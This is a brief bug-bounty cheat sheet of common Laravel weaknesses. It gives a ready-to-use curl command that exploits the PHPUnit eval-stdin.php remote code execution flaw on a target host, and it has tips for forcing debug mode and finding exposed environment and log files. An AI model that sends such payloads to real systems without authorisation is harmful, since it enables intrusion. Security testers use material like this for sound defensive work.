AllAboutBugBounty/Framework/laravel.md
Muhammad Daffa 8b8613272e
Laravel [1]
Create laravel tips and add 4 tips
2020-09-08 17:26:12 +07:00

1005 B

Common bug in laravel framework

  1. Laravel PHPUnit Remote Code Execution

Command

curl -d "<?php echo php_uname(); ?>" http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  1. Exposed environment variables

Environment Variables

  1. Exposed log files
  1. Laravel Debug Mode Enabled
  • Using SQL injection query in GET or POST method
  • Try path /logout (ex:target.com/logout)
  • Using [] in paramater (ex:target.com/param[]=0)

Laravel Debug Mode

Source: Nakanosec